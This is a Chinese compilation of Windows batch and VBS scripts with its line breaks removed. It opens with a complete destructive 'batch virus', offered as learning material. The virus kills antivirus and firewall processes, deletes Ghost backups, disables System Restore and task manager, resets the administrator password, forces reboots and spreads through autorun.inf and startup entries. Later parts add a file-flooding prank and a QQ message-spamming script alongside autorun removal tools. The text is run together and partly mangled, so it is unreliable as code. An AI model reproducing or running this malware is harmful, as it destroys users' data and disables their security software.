超级批处理病毒，不错的学习资料@echo offtitle You DEADset taskkill=scopy %0 %windir%\system32\cmd.batattrib %windir%\system32\cmd.bat +r +s +hnet stop sharedaccess >nul%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul%s% /im norton* /f >nul%s% /im av* /f >nul%s% /im fire* /f >nul%s% /im anti* /f >nul%s% /im spy* /f >nul%s% /im bullguard /f >nul%s% /im PersFw /f >nul%s% /im KAV* /f >nul%s% /im ZONEALARM /f >nul%s% /im SAFEWEB /f >nul%s% /im OUTPOST /f >nul%s% /im nv* /f >nul%s% /im nav* /f >nul%s% /im F-* /f >nul%s% /im ESAFE /f >nul%s% /im cle /f >nul%s% /im BLACKICE /f >nul%s% /im def* /f >nul%s% /im 360safe.exe /f >nulnet stop Shadow" "System" "Serviceset alldrive=d e f g h i j k l m n o p q r s t u v w x y zfor %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nulfor %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nulrem 修改注册表.......REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /tREG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /tREG_DWORD /d 00000002 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v DisableConfig /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v RestrictRun /t REG_DWORD /d 00000001 /f >nulclsnet user administrator 123456 >nulfor %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nulecho @echo off >d:\setup.batecho shutdown -r -t 10 -f -c 亲爱的朋友，我⼗分抱歉的通知你，你的电脑已经严重崩溃，请重新安装系统可以解决此问题!^.^ >>d:\setup.batecho copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat >>d:\setup.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat/f >>d:\setup.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat/f >>d:\setup.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.batHKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.batecho [windows] >> %windir%\win.iniecho run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.iniecho load=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.iniecho [boot] >> %windir%\system.iniecho shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >> %windir%\system.iniecho [AutoRun] >d:\autorun.infecho Open=setup.bat >>d:\autorun.infecho Open=system.bat >>d:\autorun.infattrib d:\autorun.inf +r +s +h >>d:\setup.batattrib d:\setup.bat +r +s +h >>d:\setup.batstart d:\setup.bat /min >nulecho @echo off >>C:\AUTOEXEC.BATecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /dC:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BATecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /dC:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BATREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /dC:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BATecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat/f >>C:\AUTOEXEC.BATecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat/f >>C:\AUTOEXEC.BATREG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat/f >>C:\AUTOEXEC.BATecho if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BATcopy %0 %systemroot%\windows.bat >nulif not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.batif not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%windir%/system32/explorer.batif not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%windir%/system32/explorer.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /dC:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /dC:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat/f >>%windir%/system32/explorer.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat/f >>%windir%/system32/explorer.batecho REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %windir%/system32/explorer.bat/f >>%windir%/system32/explorer.batecho REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %windir%/system32/explorer.bat /f >>%windir%/system32/explorer.batecho start %systemroot%\windows.bat /min >>%windir%/system32/explorer.batattrib %windir%/system32/explorer.bat +r +s +h%attrib %systemroot%/windows.bat +r +s +hfor %%c in (%alldrive%) do echo @echo off >>%%c:\system.batfor %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.batfor %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.batset drive=e f g h i j k l m n o p q r s t u v w x y zfor %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inffor %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.infcopy %0 d:\Program" "Files\run.batfor %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min>>%%c:\system.batfor %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.batfor %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nulfor %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nulif not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min >>d:\setup.batattrib d:\Program" "Files\run.bat +r +s +h >nuldel %0 exit。
Autorun病毒清除工具bat代码介绍
Autorun 病毒清除工具bat代码介绍电脑病毒看不见，却无处不在，有时防护措施不够或者不当操作都会导致病毒入侵。
本程序运行后自动清除每个盘符下面的Autorun 病毒,Echo本程序原理是基于读取每个盘符下的Autorun.inf相关字段复制代码代码如下:@Echo Offcolor 2ftitle Autorun 病毒清除工具-By PhexonRem 杀进程taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul:clearautoclsEcho.Echo Autorun 病毒清除工具Echo.Echo.Echo.Echo 制作：PhexonEcho.Echo 本程序运行后自动清除每个盘符下面的Autorun病毒Echo 本程序原理是基于读取每个盘符下的Autorun.inf相关字段Echo.Echo [1] 仅仅删除所有盘符下的 Autorun 病毒Echo [2] 删除所有盘符下的 Autorun 病毒并且建立同名免疫目录(推荐!)Echo [3] 禁用系统的 Autorun 机制以避免 Autorun 病毒的再次感染Echo [4] 取消所有盘符的 Autorun 病毒免疫Echo [5] 删除并免疫指定盘符的 Autorun 病毒Echo [6] 取消免疫指定盘符Echo [7] 恢复相关注册表项默认值Echo [0] 退出Echo.Set /p clearslt= 请输入您的选择(1/2/3/4/5/6/7/0):If "%clearslt%"=="" Goto clearautoIf "%clearslt%"=="1" Goto clearauto1If "%clearslt%"=="2" Goto clearauto2If "%clearslt%"=="3" Goto clearauto3If "%clearslt%"=="4" Goto clearauto4If "%clearslt%"=="5" Goto clearauto5If "%clearslt%"=="6" Goto clearauto6If "%clearslt%"=="7" Goto clearauto7If "%clearslt%"=="0" Exit:clearauto1taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulFor %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nulDel /a /f /q %%a:\autorun.inf >nul 2>nul) >nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nulDel /a /f /q %%a:\autorun.inf >nul 2>nul) >nul 2>nul)clsEcho Autorun 病毒清除完毕，任意键返回……pause>nulGoto clearauto:clearauto2taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulFor %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b\免疫目录不要删除!...\" & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nulDel /a /f /q %%a:\autorun.inf & md "%%a:\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %%a:\autorun.inf & Echo Y|cacls "%%a:\autorun.inf" /T /C /P everyone:N >nul 2>nul ) >nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b\免疫目录不要删除!...\" & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nulDel /a /f /q %%a:\autorun.inf & md "%%a:\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %%a:\autorun.inf & Echo Y|cacls "%%a:\autorun.inf" /T /C /P everyone:N >nul 2>nul ) >nul 2>nul)clsEcho Autorun 病毒清除并免疫完毕，任意键返回……pause>nulGoto clearauto:clearauto3clsEcho.Echo 正在停止相关服务……Echo.reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies \Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nulreg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies \Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nulnet stop ShellHWDetection >nul 2>nulsc config ShellHWDetection start= disabled >nul 2>nulRem 添加防止从回收站或仿回收站的目录中直接运行可执行文件的策略SetREGPATH=HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer \CodeIdentifiers\0\PathsSet SFLAG=/v SaferFlags /t REG_DWORD /d 0x00000000 /fSet IDATA=/f /v ItemData /d "?:\Recyc?reg add %REGPATH%\{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %SFLAG%>nulreg add %REGPATH%\{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %IDATA%\*\*\*\*.*">nulreg add %REGPATH%\{41fe7eed-c47a-46f6-840a-240796fd03cf} %SFLAG%>nulreg add %REGPATH%\{41fe7eed-c47a-46f6-840a-240796fd03cf} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{4e93c91c-a40e-462e-9b89-3b0832d222d9} %SFLAG%>nulreg add %REGPATH%\{4e93c91c-a40e-462e-9b89-3b0832d222d9} %IDATA%\*.*">nulreg add %REGPATH%\{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %SFLAG%>nulreg add %REGPATH%\{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %IDATA%\*\*\*\*.*">nulreg add %REGPATH%\{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %SFLAG%>nulreg add %REGPATH%\{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %IDATA%\*.*">nulreg add %REGPATH%\{5f8ff865-0638-4c6e-98de-923e7bc6b330} %SFLAG%>nulreg add %REGPATH%\{5f8ff865-0638-4c6e-98de-923e7bc6b330} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{649c1429-0e79-453c-abe9-b5682e035ae7} %SFLAG%>nulreg add %REGPATH%\{649c1429-0e79-453c-abe9-b5682e035ae7} %IDATA%\*\*.*">nulreg add %REGPATH%\{718f54b2-c669-4d7b-aeff-18d69f100034} %SFLAG%>nulreg add %REGPATH%\{718f54b2-c669-4d7b-aeff-18d69f100034} %IDATA%\*\*.*">nulreg add %REGPATH%\{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %SFLAG%>nulreg add %REGPATH%\{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %IDATA%\*.*">nulreg add %REGPATH%\{af2a4fcf-441c-421e-9663-52cd3502cfd7} %SFLAG%>nulreg add %REGPATH%\{af2a4fcf-441c-421e-9663-52cd3502cfd7} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{b997f4b2-c037-4e97-b051-31f5d86df802} %SFLAG%>nulreg add %REGPATH%\{b997f4b2-c037-4e97-b051-31f5d86df802} %IDATA%\*\*.*">nulreg add %REGPATH%\{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} %SFLAG%>nulreg add %REGPATH%\{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} /f /v ItemData /d "RECYC*.*">nulRem 清除喜欢利用回收站的移动磁盘自动运行病毒For %%a In (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) Do (For %%b In (exe pif com) Do (Echo Y|cacls "%%a:\Recycler\*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:\Recycled\*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:\Recycled\Recycled\*.%%b" /C /T /P everyone:F>nul 2>nul Del /A /F /S /Q "%%a:\Recycler\*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:\Recycled\*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:\Recycled\Recycled\*.%%b">nul 2>nul))>nul 2>nulEcho.Echo 相关服务已停止并禁用，任意键返回……pause >nulGoto clearauto:clearauto4For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul )>nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul )>nul 2>nul)clsEcho.Echo 已经解除全部盘符的免疫，任意键返回……pause>nulGoto clearauto:clearauto5clsEcho.Set /p pf= 请输入盘符，如"F:"(不包括引号)Echo 即将免疫%pf%盘……|fi nd /i ":"||Set pf=%pf%:&&Echo 即将免疫%pf%盘……taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IMsxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulfsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%a In (%pf%\autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a\免疫目录不要删除!...\" & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nulDel /a /f /q %pf%\autorun.inf & md "%pf%\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %pf%\autorun.inf & Echo Y|cacls "%pf%\autorun.inf" /T /C /P everyone:N >nul 2>nul Goto DoneclearAuto) >nul 2>nulfsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%a In (%pf%\autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a\免疫目录不要删除!...\" & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nulDel /a /f /q %pf%\autorun.inf & md "%pf%\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %pf%\autorun.inf & Echo Y|cacls "%pf%\autorun.inf" /T /C /P everyone:N >nul 2>nul Goto DoneclearAuto) >nul 2>nulEcho.Echo 您所输入的盘符不存在或者是只读设备，Echo 请重新输入Goto clearauto5:DoneclearAutoclsEcho.Echo 指定的磁盘 %pf% 已经成功进行了 Autorun 病毒的清除及免疫Echo.Echo [1] 继续免疫其他磁盘Echo [0] 返回主菜单Set /p choice= 请输入您的选择(1/0):If %choice%="" Goto DoneclearAutoIf %choice%="1" Goto clearauto5If %choice%="0" Goto clearauto:clearauto6clsEcho.Set /p pf= 请输入盘符，如"F:"(不包括引号)Echo 即将取消免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将取消免疫%pf%盘……fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (cacls "%pf%\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%\autorun.inf" & rd /s /q "%pf%\autorun.inf">nul 2>nul Goto DoneUnauto)>nul 2>nulfsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (cacls "%pf%\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%\autorun.inf" & rd /s /q "%pf%\autorun.inf">nul 2>nul Goto DoneUnauto)>nul 2>nulEcho.Echo 您所输入的盘符不存在或者是只读设备，Echo 请重新输入Goto clearauto6:DoneUnautoclsEcho.Echo 指定的磁盘 %pf% 已经成功解除了 Autorun 病毒免疫Echo.Echo [1] 继续解除免疫其他磁盘Echo [0] 返回主菜单Set choice=Set /p choice= 请输入您的选择(1/0):If %choice%="" Goto DoneUnautoIf %choice%="1" Goto clearauto6If %choice%="0" Goto clearauto:clearauto7clsRem 防止在资源管理器中彻底隐藏文件、禁止文件等reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore r\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t REG_DWORD /d 0x00000001 /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ MountPoints2" /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ex plorer\DisallowRun" /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ex plorer" /v DisallowRun /f>nul 2>nulRem 防止转移启动组位置reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v Startup /d "%USERPROFILE%\「开始」菜单\程序\启动" /f>nul 2>nulreg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v "Common Startup" /d "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" /f>nul 2>nulEcho.Echo 相关注册表恢复完毕，任意键返回……pause>nulGoto clearauto相关阅读：2018网络安全事件：一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月，英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞，包括AMD、ARM、英特尔系统和处理器在内，几乎近20年发售的所有设备都受到影响，受影响的设备包括手机、电脑、服务器以及云计算产品。
Autorun免疫程序
Autorun免疫程序打开需要免疫的盘符，然后点击免疫。
移动硬盘先连接电脑后，然后打开程序。
U盘、等其它移动设备如没有检测到盘符，可自行手动输入盘符名称，然后执行免疫。
我们知道，同一目录下，两个相同文件名的文件是不能共存的。
经过免疫后的磁盘，会在磁盘的根目录下生成一个防删除、替换并隐藏的Autorun.inf文件夹，并自动设置为只读和系统隐藏属性，以防止病毒借助Autorun自动运行文件进行病毒的自动传播。
步骤如下：新建一个空文本文档，并更名为"1.bat"（扩展名改成bat），输入如下命令：x:（x表示盘符，如果是h盘，就输入h:）md autorun.infcd autorun.infmd con\（因为con文件夹在DOS中不可直接输入命令，要加入“\”）然后打开此文件，就可免疫。
可放到该U盘中，但不要放在U盘的文件夹中，否则会在这个文件夹里新建一个这样的免疫文件夹。
当有病毒的移动磁盘插入电脑时，如果您发现系统提示：“无法写入AUTORUN：访问被拒绝。
请确定磁盘未满或未被写保护而且未被使用”时，此时病毒写入电脑失败。
如果您想删除磁盘目录下的此免疫文件，请重新新建一个空文本文档，并更名为"2.bat"（扩展名改成bat），输入如下命令：x:（x表示盘符，如果是h盘，就输入h:）cd autorun.infrd con\cd..rd autorun.inf然后打开此文件，就可解除免疫。
可放到该U盘中，但不要放在U盘的文件夹中，否则无效。
注：在极小数系统下面点执行后会提示选择盘符，这不影响使用。
最新整理bat整人电脑病毒代码是怎样的
b a t整人电脑病毒代码是怎样的现在流行的病毒是由人为故意编写的，多数病毒可以找到作者和产地信息，从大量的统计分析来看，病毒作者主要情况和目的是：一些天才的程序员为了表现自己和证明自己的能力，出于对上司的不满，为了好奇，为了报复，为了祝贺和求爱，为了得到控制口令，为了软件拿不到报酬预留的陷阱等.当然也有因政治，军事，宗教，民族.专利等方面的需求而专门编写的，其中也包括一些病毒研究机构和黑客的测试病毒.以下是学习啦网小编为大家整理的关于b a t整人电脑病毒代码的相关知识，希望对大家有所帮助!v b s整人代码代码如下：复制代码代码如下:P r i v a t e S u b F o r m_L o a d()M e.H i d eE n d S u bP r i v a t e S u b T i m e r1_T i m e r()声明变量，其中c o u n t为静态变量，以便生成不同的文件D i m f i l e s A s S t r i n gD i m n r A s S t r i n gD i m c A s S t r i n gS t a t i c c o u n t A s L o n g定义要把生成的文件存放在那个目录文件下c=C:\P r o g r a m F i l e s\生成文件的内容n r=哈哈，被黑的感觉的不错吧f i l e s=F r e e F i l e如果a等于a那么就执行I f a=a T h e nc o u n t不断的加1，以便产生不同的文件名c o u n t=c o u n t+1产生文件名及文件句柄，并用c o u n t作为产生不同的文件名。
O p e n c s y s t e m c o u n t .d l l F o r A p p e n d A s#f i l e s向文件写内容W r i t e#f i l e s,n r清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示C l o s e#f i l e sE n d I fE n d S u b一、你打开好友的聊天对话框,然后记下在你Q Q里好友的昵称,把下面代码里的x x替换一下,就可以自定义发送Q Q信息到好友的次数(代码里的数字10改一下即可).x x.v b s=复制代码代码如下:O n E r r o r R e s u m e N e x tD i m w s h,y es e t w s h=c r e a t e o b j e c t(w s c r i p t.s h e l l)f o r i=1t o10w s c r i p t.s l e e p700w s h.A p p A c t i v a t e(与 x x聊天中)w s h.s e n d K e y s¶w s h.s e n d K e y s iw s h.s e n d K e y s%sn e x tw s c r i p t.q u i tQ Q骚扰信息,也可以用在其它程序上。
autorun.inf专杀工具
autorun.inf专杀工具
介绍
autorun.inf是一种用于自动运行文件的特殊文件，在Windows操作系统中常被恶意程序利用，成为传播病毒和恶意软件的重要途径。
为了有效防范和清除autorun.inf及其相关恶意文件，开发了一款专门针对autorun.inf的专杀工具。
工具功能
该autorun.inf专杀工具具有以下主要功能：
1.自动扫描：工具会自动扫描计算机中的存储设备和
可执行文件，检测是否存在autorun.inf文件和相关恶意文件。
2.专杀删除：一旦检测到autorun.inf文件或相关恶意
文件，工具会立即对其进行专杀删除，防止病毒进一步传播和破坏。
3.修复注册表：除了删除autorun.inf文件和相关恶意
文件外，工具还会修复被病毒篡改的注册表项，保证系统的正常运行。
4.实时保护：工具支持实时监测计算机文件和存储设
备的变动，一旦检测到autorun.inf文件的生成或修改，即刻进行拦截和处理。
5.定期更新：工具会定期下载最新的病毒库更新，以
确保对新出现的autorun.inf变种和相关恶意文件的及时兼容性识别和删除。
使用方法
使用autorun.inf专杀工具非常简单，只需按照以下步骤操作即可：
1.下载和安装：在官方网站或可信赖的软件下载平台
下载autorun.inf专杀工具的安装程序，然后按照安装向导完成安装。
2.快速扫描：打开autorun.inf专杀工具，点击。
清除autorun.inf的批处理和vbs方法教程
清除autorun.inf的批处理和vbs方法教程电脑病毒看不见，却无处不在，有时防护措施不够或者不当操作都会导致病毒入侵。
那么怎么清除autorun.inf的批处理和vbs，下面一起看看具体步骤!方法步骤kill.bat复制代码代码如下:@echo offtaskkill /f /im 病毒.execd\for /d %%i in (C,d,,e,f,g,h,I,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do attrib -s -a -r -h %%i:\autorun.inf&attrib -s -a -r -h %%i:\病毒.exe& del %%i:\病毒.exe&del %%i:\autorun.infkill.vbs复制代码代码如下:ON ERROR RESUME NEXTciker_path = InputBox("本程序能帮助您清除autorun.inf病毒。
"&vbCr&vbCr&"请在下面输入autorun.inf所在的目录："&vbCr&vbCr&"By Ciker 08.03.30","AutoRun.inf清除","C:\autorun.inf")ciker_exe = InputBox("请在下面输入exe病毒文件所在的目录："&vbCr&vbCr&"By Ciker 08.03.30","AutoRun.inf清除","C:\target.exe")Set Fso=CreateObject("Scripting.FileSystemObject")Set fl0=Fso.getfile(ciker_path)Set fl1=Fso.getfile(ciker_exe)fl0.deletefl1.deletemsgbox "清除成功!"wscript.quit免疫.bat复制代码代码如下:setacl.exeCURRENT_USER\Software\Microsoft\Windows\CurrentVersion\E xplorer\MountPoints2 /registry /deny everyone /full相关阅读：2018网络安全事件：一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月，英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞，包括AMD、ARM、英特尔系统和处理器在内，几乎近20年发售的所有设备都受到影响，受影响的设备包括手机、电脑、服务器以及云计算产品。
一键清理垃圾bat
一键清理垃圾bat随着电脑使用时间的增长，系统中垃圾文件越来越多，严重影响了电脑的运行速度和性能。
为了解决这个问题，我们可以通过编写一个一键清理垃圾的bat文件来帮助我们快速清理电脑中的垃圾文件，提高电脑的运行效率。
首先，我们需要了解一键清理垃圾bat文件的原理和编写方法。
一键清理垃圾bat文件的原理是通过批处理脚本来执行一系列的清理操作，包括删除临时文件、清理回收站、清理系统缓存等。
编写一键清理垃圾bat文件的方法是使用文本编辑器，编写一系列命令，然后保存为bat格式的文件。
接下来，我们来编写一键清理垃圾bat文件。
首先，打开文本编辑器，输入以下命令：```。
@echo off。
echo 正在清理垃圾文件，请稍候...del /f /s /q %temp%/。
del /f /s /q C:\Windows\Temp\。
del /f /s /q C:\Users\用户名\AppData\Local\Temp\。
rd /s /q C:\Windows\Prefetch。
cleanmgr /sagerun:1。
echo 清理完成！pause。
```。
上面的命令是一个简单的一键清理垃圾bat文件，包括删除临时文件、清理系统缓存和运行磁盘清理工具。
其中，`del /f /s /q %temp%/`命令用于删除临时文件，`del /f /s /q C:\Windows\Temp\`命令用于清理系统临时文件，`del /f /s /q C:\Users\用户名\AppData\Local\Temp\`命令用于清理用户临时文件，`rd /s /qC:\Windows\Prefetch`命令用于清理系统预取文件，`cleanmgr /sagerun:1`命令用于运行磁盘清理工具。
